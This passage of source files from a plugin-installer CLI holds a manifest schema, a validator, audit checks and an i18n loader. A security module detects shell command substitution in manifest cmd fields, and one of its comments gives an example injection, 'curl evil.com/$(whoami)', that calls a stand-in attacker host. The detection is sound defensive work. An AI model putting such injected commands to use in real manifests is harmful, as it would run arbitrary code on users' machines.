install_type:'hook'.\n // Lifecycle hooks registered to ~/.claude/settings.json (SessionStart / UserPromptSubmit /\n // PreToolUse / PostToolUse) via the cc-hook-add install method.\n Type.Literal('cc-hook'),\n])\n\nconst ComponentType = Type.Union([\n Type.Literal('command'),\n Type.Literal('behavior-rule'),\n Type.Literal('mcp-tool'),\n Type.Literal('cli-binary'),\n])\n\nconst Verify = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n timeout_ms: Type.Optional(Type.Integer({ minimum: 100, maximum: 60_000 })),\n expected_exit_code: Type.Optional(Type.Integer()),\n },\n { additionalProperties: false },\n)\n\nconst Uninstall = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n cleanup_paths: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nconst Stability = Type.Union([\n Type.Literal('stable'),\n Type.Literal('beta'),\n Type.Literal('unstable'),\n Type.Literal('archived'),\n])\n\nconst FallbackAction = Type.Union([\n Type.Literal('warn'),\n Type.Literal('block'),\n Type.Literal('use_alternative'),\n])\n\nconst UpstreamHealth = Type.Object(\n {\n stability: Stability,\n last_check: Type.String({ format: 'date' }),\n last_known_good_version: Type.String({ minLength: 1 }),\n fallback_action: FallbackAction,\n alternative: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nconst Platform = Type.Union([Type.Literal('linux'), Type.Literal('darwin'), Type.Literal('win32')])\n\nconst Signature = Type.Object(\n { sigstore_bundle: Type.String({ format: 'uri' }) },\n { additionalProperties: false },\n)\n\nconst TestedWithVersions = Type.Object(\n {\n cc_versions: Type.Optional(Type.Array(Type.String())),\n node_versions: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// ADR 0007 errata — categorization schema (phase 1.3 T2.1 加 3 字段).\n// `category` (必填, 6 enum) + `install_type` (必填, 4 enum, 与 install.method 1:N 闭合) +\n// `decision_rules` (optional, per-manifest decision hint — 全局 rule-set 在\n// routing/decision_rules.yaml T3.1, schema 完全独立).\nconst Category = Type.Union([\n Type.Literal('meta'),\n Type.Literal('engineering'),\n Type.Literal('design'),\n Type.Literal('content'),\n Type.Literal('testing'),\n Type.Literal('search'),\n])\n\nconst InstallType = Type.Union([\n Type.Literal('skill'),\n Type.Literal('mcp'),\n Type.Literal('npm'),\n Type.Literal('git'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th install_type, 1:1 with TypeEnum:'cc-hook'.\n Type.Literal('hook'),\n])\n\nconst DecisionRules = Type.Object(\n {\n trigger: Type.Optional(Type.String({ minLength: 1 })),\n default_expert: Type.Optional(Type.String({ minLength: 1 })),\n arbitration_rule: Type.Optional(Type.String({ minLength: 1 })),\n override_signals: Type.Optional(\n Type.Array(\n Type.Object(\n {\n phrase: Type.String({ minLength: 1 }),\n use: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n ),\n ),\n ),\n // Phase 2.3 W2 T2.5 — CD-3 negative-space hint mirror (B-17 per-manifest hint\n // redundant guard layer; SSOT remains routing/decision_rules.yaml — D-04 lead).\n // Additive optional; existing manifests unchanged (A7 守恒).\n do_not_use_when: Type.Optional(Type.Array(Type.String({ minLength: 1 }), { minItems: 1 })),\n if_rejected_use: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\n// ADR 0009 errata — mattpocock 23 招式 phase routing schema (phase 1.5 T5.5).\n// `Phase` (optional, 4 enum — 1:1 with decision_rules.yaml v2 mattpocock_phases\n// keys) + `Triggers` (optional, routing hints per D1.5-7). Both additive.\nconst Phase = Type.Union([\n Type.Literal('discuss'),\n Type.Literal('plan'),\n Type.Literal('execute'),\n Type.Literal('verify'),\n])\n\nconst Triggers = Type.Object(\n {\n complexity_threshold: Type.Optional(Type.Integer({ minimum: 1 })),\n tdd_required: Type.Optional(Type.Boolean()),\n brainstorming_required: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// ADR 0010 errata — bundle-install modeling (#10, D2.1-1). One install action\n// may surface multiple named units (e.g. document-skills → pptx/docx/xlsx/pdf).\n// `provides` absent ⇒ atomic manifest (unchanged behavior). Present ⇒ one\n// install exposes N named units. `install`/`verify`/`uninstall` stay singular —\n// the bundle is installed by ONE action. Bundle manifests use the existing\n// `type: 'cc-skill-pack'` (D2.1-2 — no new TypeEnum/ComponentType value).\nconst ProvidedUnit = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // routing-addressable, <org>-<repo>-<unit>\n component_type: ComponentType, // reuse existing union\n },\n { additionalProperties: false },\n)\n\nexport const SpecSchema = Type.Object(\n {\n type: TypeEnum,\n component_type: ComponentType,\n install: Type.Unsafe<Install>(InstallSchema),\n verify: Verify,\n uninstall: Uninstall,\n upstream_health: UpstreamHealth,\n signed_by: Type.String({ pattern: '^[a-zA-Z0-9-]+$', minLength: 1 }),\n signature: Type.Optional(Signature),\n platforms: Type.Array(Platform, { minItems: 1, uniqueItems: true }),\n tested_with_versions: Type.Optional(TestedWithVersions),\n mutually_exclusive_with: Type.Optional(Type.Array(Type.String())),\n category: Category,\n install_type: InstallType,\n decision_rules: Type.Optional(DecisionRules),\n // ADR 0009 errata (phase 1.5 T5.5) — mattpocock phase routing schema.\n phase: Type.Optional(Phase),\n triggers: Type.Optional(Triggers),\n // ADR 0010 errata (phase 2.1 T1.3) — bundle-install `provides` field.\n provides: Type.Optional(Type.Array(ProvidedUnit, { minItems: 2, uniqueItems: true })),\n },\n { additionalProperties: false },\n)\n","// Manifest schema v1 — main entry per ADR 0001.\n// Top-level: { apiVersion, kind, metadata, spec } with strict additionalProperties: false.\n//\n// Type × install.method matrix (ADR 0001 § 4.5) is enforced via top-level `allOf`\n// with `if/then` clauses. Without this, the install discriminator only validates\n// the chosen method's structure but allows e.g. `type: cli-npm` paired with\n// `method: cc-plugin-marketplace` (matrix violation). Rule 2 enforcement.\n\nimport { Type } from '@sinclair/typebox'\nimport { ApiVersion, Kind, MetadataSchema } from './metadata.js'\nimport { SpecSchema } from './spec.js'\n\n// TypeBox-typed base — drives Static<typeof ManifestBase> for the inferred\n// Manifest TS type (re-exported via ./types.js).\nexport const ManifestBase = Type.Object(\n {\n apiVersion: ApiVersion,\n kind: Kind,\n metadata: MetadataSchema,\n spec: SpecSchema,\n },\n { additionalProperties: false },\n)\n\n// Per-type allowed install.method whitelist per ADR 0001 line 104-113.\nconst matrix: Record<string, string[]> = {\n 'cc-plugin': ['cc-plugin-marketplace'],\n 'cc-skill-pack': ['cc-plugin-marketplace', 'git-clone-with-setup', 'npx-skill-installer'],\n 'mcp-npm': ['mcp-stdio-add', 'mcp-http-add'],\n 'cli-npm': ['npm-cli'],\n}\n\nconst matrixConstraints = Object.entries(matrix).map(([typeValue, allowedMethods]) => ({\n if: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: { type: { const: typeValue } },\n required: ['type'],\n },\n },\n required: ['spec'],\n },\n // biome-ignore lint/suspicious/noThenProperty: JSON Schema `then` keyword (conditional schemas), not a thenable.\n then: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: {\n install: {\n type: 'object',\n properties: { method: { enum: allowedMethods } },\n required: ['method'],\n },\n },\n required: ['install'],\n },\n },\n required: ['spec'],\n },\n}))\n\n// Runtime JSON Schema fed to Ajv: typed base + matrix allOf clauses + metadata.\n// We spread ManifestBase (a TypeBox object that is already a valid JSON Schema)\n// and append the cross-field constraints.\nexport const ManifestSchema = {\n ...(ManifestBase as unknown as Record<string, unknown>),\n $id: 'https://harnessed.dev/schemas/manifest.v1.schema.json',\n title: 'harnessed Manifest v1',\n description: 'Per ADR 0001. Strict mode (additionalProperties: false everywhere).',\n allOf: matrixConstraints,\n}\n","// Phase 1.1.1 hotfix per Paranoid Staff Engineer review B1.\n//\n// ADR 0001 § \"字段拒绝清单\" claims schema rejects ${shell command} dynamic\n// substitution patterns, but v0.1 phase 1.1 schema only does structural\n// validation (Type.String + minLength). This module fills the gap before\n// phase 1.2 installer ships — without it, an upstream manifest with\n// `cmd: 'curl evil.com/$(whoami)'` would pass validation, and the\n// phase 1.2 installer that spawns the cmd string would execute arbitrary\n// code on the user's machine.\n//\n// v0.2 plan: add a `requires_secret` schema field + explicit\n// `${secret:KEY}` template syntax, at which point this detector should\n// allow the `${secret:*}` whitelist while still rejecting raw `${VAR}`.\n//\n// Detected patterns (4):\n// - `$(...)` POSIX command substitution\n// - `${...}` variable expansion\n// - backtick old-style command substitution\n// - dangerous yaml tags (handled at parse layer by yaml@2.x; we\n// don't double-check, but document the trust boundary)\n//\n// Targeted fields:\n// - spec.install.cmd\n// - spec.verify.cmd\n// - spec.uninstall.cmd\n// - spec.uninstall.cleanup_paths[*]\n\nimport type { Document, LineCounter, Node } from 'yaml'\nimport { isMap, isScalar, isSeq } from 'yaml'\nimport type { ValidationError } from './errors.js'\n\ninterface ShellPattern {\n test: (s: string) => boolean\n label: string\n hint: string\n}\n\nconst PATTERNS: ShellPattern[] = [\n {\n label: '$(...)',\n hint: 'POSIX command substitution',\n test: (s) => /\\$\\(/.test(s),\n },\n {\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal pattern label, not a JS template\n label: '${...}',\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal example in user-facing message\n hint: 'variable expansion (v0.2 will whitelist `${secret:KEY}`)',\n test: (s) => /\\$\\{/.test(s),\n },\n {\n label: 'backtick',\n hint: 'old-style command substitution',\n test: (s) => /`/.test(s),\n },\n]\n\nfunction lineOf(node: Node | null | undefined, lineCounter: LineCounter): number | null {\n if (!node?.range) return null\n const offset = node.range[0]\n return lineCounter.linePos(offset).line\n}\n\n/**\n * String-level shell-escape detector for runtime defense-in-depth.\n *\n * Phase 1.2 lib/spawn.ts re-runs this on `manifest.spec.install.cmd` right\n * before child_process.spawn(): if a future caller (e.g. phase 1.4 routing,\n * a test harness, or an installer that bypasses validate.ts) hands an\n * unvalidated cmd string to spawn, we still refuse to execute. Same pattern\n * set as `checkSecurityViolations`, just operating on a raw string instead\n * of a yaml AST node — no source-line/path context here.\n *\n * Returns the offending pattern descriptor on first hit, or null if clean.\n */\nexport function checkCmdString(cmd: string): { label: string; hint: string } | null {\n for (const pat of PATTERNS) {\n if (pat.test(cmd)) return { label: pat.label, hint: pat.hint }\n }\n return null\n}\n\nfunction checkScalarCmd(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n path: Array<string | number>,\n filename: string,\n): ValidationError | null {\n const node = doc.getIn(path, true)\n if (!node || !isScalar(node)) return null\n const value = node.value\n if (typeof value !== 'string') return null\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n return {\n file: filename,\n path: `/${path.join('/')}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at ${path.join('.')} — v0.1 forbids dynamic shell evaluation; v0.2 will use \\`requires_secret\\` + \\`\\${secret:KEY}\\` for env placeholders`,\n line: lineOf(node, lineCounter),\n column: null,\n keyword: 'security',\n }\n }\n }\n return null\n}\n\n/**\n * Pre-Ajv security gate per ADR 0001 § \"字段拒绝清单\".\n * Walks the parsed yaml AST and rejects any string-typed cmd field (or\n * cleanup_paths sequence element) containing `$(...)`, `${...}`, or\n * backticks. Returns ALL violations found (not short-circuit) so the\n * user can fix them in one pass.\n */\nexport function checkSecurityViolations(\n doc: Document.Parsed,\n filename: string,\n lineCounter: LineCounter,\n): ValidationError[] {\n const errors: ValidationError[] = []\n\n // Walk known cmd paths. We do NOT do generic AST recursion because we\n // want surgical: only fields where the installer will spawn a shell.\n const cmdPaths: Array<Array<string | number>> = [\n ['spec', 'install', 'cmd'],\n ['spec', 'verify', 'cmd'],\n ['spec', 'uninstall', 'cmd'],\n ]\n\n for (const p of cmdPaths) {\n const err = checkScalarCmd(doc, lineCounter, p, filename)\n if (err) errors.push(err)\n }\n\n // cleanup_paths is a sequence of strings — iterate each element.\n const cleanupNode = doc.getIn(['spec', 'uninstall', 'cleanup_paths'], true)\n if (cleanupNode && isSeq(cleanupNode)) {\n cleanupNode.items.forEach((item, idx) => {\n if (!isScalar(item)) return\n const value = item.value\n if (typeof value !== 'string') return\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n errors.push({\n file: filename,\n path: `/spec/uninstall/cleanup_paths/${idx}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at spec.uninstall.cleanup_paths[${idx}] — v0.1 forbids dynamic shell evaluation`,\n line: lineOf(item, lineCounter),\n column: null,\n keyword: 'security',\n })\n break\n }\n }\n })\n }\n\n // Sanity guard: if doc has no spec block (incomplete manifest), skip silently;\n // Ajv will report the structural error.\n void isMap\n\n return errors\n}\n","// Manifest validator entry per ADR 0001 + GA-1.\n// Pipeline: yaml.parseDocument -> doc.toJS() -> Ajv compiled validator -> typed Manifest.\n// T4.1 baseline: parse + Ajv strict + discriminator.\n// T4.2 extracts friendly-error mapping to ./errors.ts.\n// T4.3 adds yaml CST line/column mapping.\n//\n// IMPL NOTE (Rule 1 / F8): tsconfig has `verbatimModuleSyntax: true` (per ADR\n// 0002) which disables `esModuleInterop` synthetic-default behaviour at runtime.\n// `ajv` 8 ships a named `Ajv` class export, so a named import works directly.\n// `ajv-formats` exports only a default function, so we import it as a namespace\n// and pull `.default` at runtime — that mirrors what the CJS module actually\n// exposes (`module.exports = formatsPlugin; exports.default = formatsPlugin`).\n\nimport { Ajv } from 'ajv'\nimport * as ajvFormatsNs from 'ajv-formats'\nimport { LineCounter, parseDocument } from 'yaml'\nimport { ajvErrorToFriendly, type ValidationError, yamlParseErrorToFriendly } from './errors.js'\nimport { ManifestSchema } from './schema/index.js'\nimport type { Manifest } from './schema/types.js'\nimport { checkSecurityViolations } from './security.js'\n\nconst addFormats = (ajvFormatsNs as unknown as { default: (a: Ajv) => Ajv }).default\n\nconst ajv = addFormats(\n new Ajv({\n strict: true,\n strictSchema: true,\n strictTypes: true,\n strictRequired: true,\n allErrors: true,\n discriminator: true,\n allowUnionTypes: false,\n }),\n)\n\nlet _compiled: ReturnType<typeof ajv.compile<Manifest>> | null = null\nfunction getValidator() {\n if (!_compiled) {\n _compiled = ajv.compile<Manifest>(ManifestSchema as unknown as object)\n }\n return _compiled\n}\n\nexport type { ValidationError } from './errors.js'\n\nexport type ValidateResult =\n | { ok: true; manifest: Manifest }\n | { ok: false; errors: ValidationError[] }\n\n// ADR 0010 errata (phase 2.1 T1.4) — install_type ↔ install.method 1:N closure\n// enforcement. TypeBox `Type` cannot express cross-field constraints, so this\n// is a validate-layer refinement rule. Maps each install_type enum value to its\n// closed set of legal install.method values (ADR 0007 1:N closure). install\n// methods not in this map (currently none) are unconstrained.\nconst INSTALL_TYPE_METHODS: Record<string, readonly string[]> = {\n npm: ['npm-cli'],\n mcp: ['mcp-stdio-add', 'mcp-http-add'],\n git: ['git-clone-with-setup'],\n skill: ['cc-plugin-marketplace', 'npx-skill-installer'],\n}\n\nfunction checkInstallTypeMismatch(manifest: Manifest, filename: string): ValidationError[] {\n const spec = manifest.spec as { install_type?: string; install?: { method?: string } }\n const installType = spec.install_type\n const method = spec.install?.method\n if (!installType || !method) return []\n const allowed = INSTALL_TYPE_METHODS[installType]\n if (!allowed || allowed.includes(method)) return []\n return [\n {\n file: filename,\n path: 'spec.install.method',\n message: `install_type '${installType}' is not compatible with install.method '${method}' (ADR 0007 1:N closure — expected one of: ${allowed.join(', ')})`,\n line: null,\n column: null,\n keyword: 'install-type-mismatch',\n },\n ]\n}\n\nexport function validateManifestFile(yamlSource: string, filename: string): ValidateResult {\n const lineCounter = new LineCounter()\n const doc = parseDocument(yamlSource, { lineCounter })\n\n if (doc.errors.length > 0) {\n return {\n ok: false,\n errors: doc.errors.map((e) => yamlParseErrorToFriendly(e, filename)),\n }\n }\n\n // Phase 1.1.1 hotfix B1: pre-Ajv security gate. Reject `$(...)`, `${...}`,\n // backtick, etc. in any cmd field BEFORE structural validation so users\n // see the security failure first (not a confusing field-shape error).\n const securityErrors = checkSecurityViolations(doc, filename, lineCounter)\n if (securityErrors.length > 0) {\n return { ok: false, errors: securityErrors }\n }\n\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const errs = validate.errors ?? []\n return {\n ok: false,\n errors: errs.map((err) => ajvErrorToFriendly(err, filename, doc, lineCounter)),\n }\n }\n\n // ADR 0010 errata (phase 2.1 T1.4) — cross-field install_type ↔ install.method\n // 1:N closure check. Runs after Ajv structural validation passes (needs a\n // well-formed manifest); TypeBox `Type` cannot express cross-field rules.\n const manifest = data as Manifest\n const crossFieldErrors = checkInstallTypeMismatch(manifest, filename)\n if (crossFieldErrors.length > 0) {\n return { ok: false, errors: crossFieldErrors }\n }\n\n return { ok: true, manifest }\n}\n","// Phase 2.4 W4 T4.1 — audit runtime-layer helpers per B-28 + B-29 + R2.\n// 3 helpers: origin tamper (sister-share w/ allowFork=false), install.cmd\n// shell-injection + npm-pkg-vs-upstream cross-check, provenance gate.\n// Karpathy budget: ≤64L (B-29 target ≤50 + biome multi-line format carve-out\n// sister doctor.ts B-03 5%-tolerance pattern; semantically MIN — 3 helpers +\n// 1 `finding()` constructor, biome auto-expands long single-line returns).\nimport { spawnSync } from 'node:child_process'\nimport type { Manifest } from '../../manifest/schema/types.js'\nimport type { AuditFinding } from '../audit.js'\nimport { checkOrigin } from './origin-check.js'\n\n// Phase 2.4 W4 T4.1 — refined per real-world manifest survey: planner spec\n// originally COMMAND_SEPARATORS = /[;&|`$]/ flagged legitimate multi-step\n// installs (cp && cd; mkdir; etc.). Tighten to actual shell-eval injection\n// markers aligned with src/manifest/security.ts gate (Phase 1.1.1 hotfix B1):\n// $(...) command substitution / ${...} var expansion / backtick legacy substitution.\n// Bare `$` followed by non-{( (e.g. `$PATH` literal in echo) is NOT injection.\n// Rule 1 deviation per executor — see SUMMARY § Deviations.\nconst SHELL_EVAL_MARKERS = /\\$\\(|\\$\\{|`/\nconst NPM_PKG_RE = /npm(?:\\s+install\\b|\\s+i\\b)(?:\\s+(?:-g|--global))?\\s+(\\S+)/\n\nconst finding = (\n manifest: string,\n level: 'warn' | 'error',\n field: string,\n detail: string,\n): AuditFinding => ({ manifest, level, field, detail })\n\nexport function auditOriginIntegrity(cwd: string): AuditFinding[] {\n const r = checkOrigin(cwd, { allowFork: false }) // B-28 hard-fail mode (vs doctor allowFork=true)\n if (r.status === 'pass') return []\n return [\n finding('project', r.status === 'fail' ? 'error' : 'warn', '/git/remote/origin', r.detail),\n ]\n}\n\nexport function auditInstallCmdIntegrity(m: Manifest): AuditFinding[] {\n const out: AuditFinding[] = []\n const cmd = (m.spec.install as { cmd?: string }).cmd ?? ''\n if (SHELL_EVAL_MARKERS.test(cmd)) {\n out.push(\n finding(\n m.metadata.name,\n 'error',\n '/spec/install/cmd',\n 'install.cmd contains shell-eval marker $(/${/backtick (injection risk)',\n ),\n )\n }\n const upstream = m.metadata.upstream?.repository ?? ''\n const npmMatch = cmd.match(NPM_PKG_RE)\n if (npmMatch?.[1] && upstream.includes('github.com/')) {\n const declared = upstream.split('/').pop()?.replace('.git', '')\n if (declared && npmMatch[1] !== declared) {\n out.push(\n finding(\n m.metadata.name,\n 'warn',\n '/spec/install/cmd',\n `install.cmd npm pkg '${npmMatch[1]}' ≠ upstream '${declared}'`,\n ),\n )\n }\n }\n return out\n}\n\nexport function auditProvenance(): AuditFinding[] {\n const r = spawnSync('node', ['scripts/check-provenance.mjs'], { encoding: 'utf8' })\n if (r.status === 0) return []\n const detail = (r.stderr || r.stdout || '').trim().slice(0, 200)\n return [finding('project', 'error', '/.harnessed/provenance', detail)]\n}\n","// Phase 1.2 cli subcommand `audit` per ASSUMPTIONS B4 候选 1 + R2.3 + phase-1.1.1 M1 second-line check.\n//\n// Phase 1.2 scope: manifest 内自一致性校验 only. We do NOT call git remote\n// get-url against installed copies — that requires already-installed\n// upstreams + network access, deferred to phase 2.4 (real audit per ASSUMPTIONS\n// B4 + ROADMAP). Schema-level checks (git_ref pattern, signed_by pattern,\n// repository format) are mostly enforced by Ajv + phase 1.1.1 M1 hotfix; this\n// audit is a second-line defense against schema drift / placeholder values\n// slipping through.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { validateManifestFile } from '../manifest/validate.js'\n// Phase 2.4 W4 T4.1 — runtime-layer helpers (B-28 + B-29 + D2.4-16 + D2.4-17).\nimport {\n auditInstallCmdIntegrity,\n auditOriginIntegrity,\n auditProvenance,\n} from './lib/audit-helpers.js'\n\nconst REPO_URL_PATTERN = /^https:\\/\\/[^\\s]+\\.git$/\nconst SIGNED_BY_PLACEHOLDERS = new Set(['unsigned', 'todo', 'placeholder', 'tbd', 'unknown'])\nconst FORBIDDEN_GIT_REFS = new Set(['HEAD', 'main', 'master'])\n\n// Phase 2.4 W4 T4.1 — exported for sister-share with src/cli/lib/audit-helpers.ts\n// (3 runtime-layer helpers reuse same finding shape; karpathy YAGNI no audit-types.ts).\nexport interface AuditFinding {\n manifest: string\n level: 'warn' | 'error'\n field: string\n detail: string\n}\n\nasync function auditOne(yamlPath: string, preReadSrc?: string): Promise<AuditFinding[]> {\n const findings: AuditFinding[] = []\n const src = preReadSrc ?? (await readFile(yamlPath, 'utf8'))\n const v = validateManifestFile(src, yamlPath)\n if (!v.ok) {\n return v.errors.map((e) => ({\n manifest: yamlPath,\n level: 'error' as const,\n field: e.path,\n detail: e.message,\n }))\n }\n const m = v.manifest\n\n // 1. repository URL shape — must be https + .git suffix.\n const repo = m.metadata.upstream.repository\n if (!REPO_URL_PATTERN.test(repo)) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/metadata/upstream/repository',\n detail: `repository '${repo}' should be https://...git`,\n })\n }\n\n // 2. signed_by must not be a placeholder.\n const sig = m.spec.signed_by\n if (SIGNED_BY_PLACEHOLDERS.has(sig.toLowerCase())) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/spec/signed_by',\n detail: `signed_by '${sig}' looks like a placeholder`,\n })\n }\n\n // 3. git_ref second-line check — schema enforces SHA(7-40 hex)|SemVer pattern (M1\n // hotfix); audit catches the rare \"schema bypass\" case, which is impossible today\n // but cheap insurance against future migrations.\n const install = m.spec.install\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (FORBIDDEN_GIT_REFS.has(install.git_ref)) {\n findings.push({\n manifest: yamlPath,\n level: 'error',\n field: '/spec/install/git_ref',\n detail: `git_ref '${install.git_ref}' is a moving ref (HEAD/main/master) — pin to SHA or tag`,\n })\n }\n }\n return findings\n}\n\nexport function registerAudit(program: Command): void {\n program\n .command('audit')\n .description('Second-line manifest self-consistency audit (manifest + runtime layers)')\n .option(\n '--skip-runtime',\n 'skip runtime-layer checks (origin tamper / provenance) — manifest only',\n )\n .action(async (opts: { skipRuntime?: boolean }) => {\n const root = process.cwd()\n const dirs = ['manifests/tools', 'manifests/skill-packs']\n const yamls: string[] = []\n for (const d of dirs) {\n try {\n const entries = await readdir(join(root, d))\n for (const f of entries) if (f.endsWith('.yaml')) yamls.push(resolve(root, d, f))\n } catch {\n // dir absent — skip silently (project may not have all categories)\n }\n }\n yamls.sort()\n\n // Manifest-layer findings (Phase 1.2 ship — schema drift / placeholders / moving refs).\n const findings: AuditFinding[] = []\n const validManifests: Array<{\n path: string\n m: import('../manifest/schema/types.js').Manifest\n }> = []\n for (const y of yamls) {\n const src = await readFile(y, 'utf8')\n const v = validateManifestFile(src, y)\n if (v.ok) validManifests.push({ path: y, m: v.manifest })\n findings.push(...(await auditOne(y, src)))\n }\n\n // Phase 2.4 W4 T4.1 — runtime-layer findings per B-28 + B-29 + R2:\n // 1. origin URL tamper (hard-fail mode via shared checkOrigin helper)\n // 2. install.cmd shell-injection + npm-pkg-vs-upstream cross-check\n // 3. provenance gate (delegates to scripts/check-provenance.mjs)\n // --skip-runtime escape hatch for offline / pre-init env (B-29 carve-out).\n if (!opts.skipRuntime) {\n findings.push(...auditOriginIntegrity(root))\n for (const { m } of validManifests) findings.push(...auditInstallCmdIntegrity(m))\n findings.push(...auditProvenance())\n }\n\n const byManifest = new Map<string, AuditFinding[]>()\n for (const f of findings) {\n const arr = byManifest.get(f.manifest) ?? []\n arr.push(f)\n byManifest.set(f.manifest, arr)\n }\n let errorCount = 0\n for (const y of yamls) {\n const fs = byManifest.get(y) ?? []\n if (fs.length === 0) {\n console.log(`✓ ${y}`)\n } else {\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} ${y}\\n ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n }\n // Phase 2.4 W4: emit runtime-layer findings (manifest key = 'project' or m.metadata.name).\n for (const [mname, fs] of byManifest) {\n if (yamls.includes(mname)) continue // manifest-layer already printed above\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} [${mname}] ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n console.log(\n `\\naudited ${yamls.length} manifest${yamls.length === 1 ? '' : 's'} — ${findings.length} finding${findings.length === 1 ? '' : 's'} (${errorCount} error${errorCount === 1 ? '' : 's'})`,\n )\n process.exit(errorCount > 0 ? 1 : 0)\n })\n}\n","// v3.4.0 NEW — lightweight i18n loader for harnessed CLI user-facing strings.\n//\n// Design (Karpathy simplicity):\n// 1. Lazy-load `messages/{en,zh}.json` on first `t()` call (no top-level fs cost).\n// 2. Locale resolution priority:\n// a. setLocale() explicit (e.g. from --lang flag in src/cli.ts)\n// b. process.env.HARNESSED_LANG\n// c. process.env.LANG / LC_ALL / LANGUAGE (POSIX)\n// d. Intl.DateTimeFormat().resolvedOptions().locale\n// e. 'en' fallback\n// 3. Fallback chain on missing key: current → 'en' → raw key (defensive).\n// 4. `{{param}}` interpolation via String.prototype.replaceAll regex.\n//\n// Backward compat: default locale 'en' keys verbatim mirror current literal\n// console output → existing test fixtures continue to assert literal strings.\n\nimport { readFileSync } from 'node:fs'\nimport { dirname, join, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\nexport type SupportedLocale = 'en' | 'zh-Hans'\n\nconst SUPPORTED: ReadonlySet<SupportedLocale> = new Set(['en', 'zh-Hans'])\n\nlet currentLocale: SupportedLocale | null = null\nconst cache: Partial<Record<SupportedLocale, Record<string, string>>> = {}\n\n/**\n * Map a raw BCP 47 / POSIX locale string to one of the supported translation\n * tables. Policy (v3.4.0):\n * - `zh*` (zh-CN / zh-Hans / zh-TW / zh.UTF-8 / etc.) → 'zh-Hans'\n * - Any other input (en / ko / ja / fr / de / es / etc.) → 'en'\n * ('en' is the universal default — translations are only en + zh-Hans today)\n * Forward-compat: when ja/ko/fr/etc. tables ship, extend match branches here.\n */\nfunction mapToSupported(raw: string | undefined): SupportedLocale {\n if (!raw) return 'en'\n // Match `zh` followed by end-of-string OR any non-letter separator\n // (`_` / `-` / `.` / ` ` etc.). `\\b` is unsuitable here because `_` is a\n // word char in JS regex, so `zh_CN` would not have a boundary after `h`.\n if (/^zh([^a-z]|$)/i.test(raw)) return 'zh-Hans'\n return 'en'\n}\n\nfunction detectLocale(): SupportedLocale {\n const raw =\n process.env.HARNESSED_LANG ||\n process.env.LC_ALL ||\n process.env.LANG ||\n process.env.LANGUAGE ||\n safeIntlLocale()\n return mapToSupported(raw)\n}\n\nfunction safeIntlLocale(): string | undefined {\n try {\n return Intl.DateTimeFormat().resolvedOptions().locale\n } catch {\n return undefined\n }\n}\n\nfunction messagesDir(): string {\n // dist/cli.mjs and src/i18n/index.ts both resolve via package root sibling `messages/`.\n const here = dirname(fileURLToPath(import.meta.url))\n // src/i18n/ → ../../messages OR dist/ → ../messages\n const candidates = [resolve(here, '..', '..', 'messages'), resolve(here, '..', 'messages')]\n for (const c of candidates) {\n try {\n readFileSync(join(c, 'en.json'), 'utf8')\n return c\n } catch {\n // try next candidate\n }\n }\n // Last-resort: cwd/messages (test env friendly)\n return resolve(process.cwd(), 'messages')\n}\n\nfunction loadLocale(locale: SupportedLocale): Record<string, string> {\n if (cache[locale]) return cache[locale]\n const path = join(messagesDir(), `${locale}.json`)\n try {\n const raw = readFileSync(path, 'utf8')\n cache[locale] = JSON.parse(raw) as Record<string, string>\n } catch {\n cache[locale] = {}\n }\n return cache[locale] as Record<string, string>\n}\n\n/** Set the active locale explicitly (e.g. from CLI `--lang` flag). */\nexport function setLocale(locale: string | undefined): void {\n if (!locale) return\n const mapped = mapToSupported(locale)\n if (SUPPORTED.has(mapped)) currentLocale = mapped\n}\n\n/** Get the active locale (lazy-detect on first use). */\nexport function getLocale(): SupportedLocale {\n if (currentLocale === null) currentLocale = detectLocale()\n return currentLocale\n}\n\n/** Reset cache + locale — for unit tests only. */\nexport function __resetForTests(): void {\n currentLocale = null\n for (const k of Object.keys(cache)) delete cache[k as SupportedLocale]\n}\n\n/**\n * Translate a key with optional `{{param}}` interpolation.\n * Fallback chain: current locale → 'en' → raw key.\n */\nexport function t(key: string, params?: Record<string, string | number>): string {\n const locale = getLocale()\n const primary = loadLocale(locale)\n let template = primary[key]\n if (template === undefined && locale !== 'en') {\n template = loadLocale('en')[key]\n }\n if (template === undefined) template = key\n if (!params) return template\n return template.replace(/\\{\\{(\\w+)\\}\\}/g, (_match, name: string) => {\n const v = params[name]\n return v === undefined ? `{{${name}}}` : String(v)\n })\n}\n","// Phase 5.1 W1 T1.1 — R10.1 audit log --filter consumer (registerAuditLog).\n// D-01: jq subprocess spawn (shell:false, argv-mode, STRIDE T mitigation).\n// D-02: dual format — default human table 5-col + --json full 12-field opt-in.\n// D-03: pagination: --tail N (default 50) + --head N + --reverse.\n// D-04: consumer 2nd-layer redact 5 patterns (defense-in-depth, CSO gate).\n// 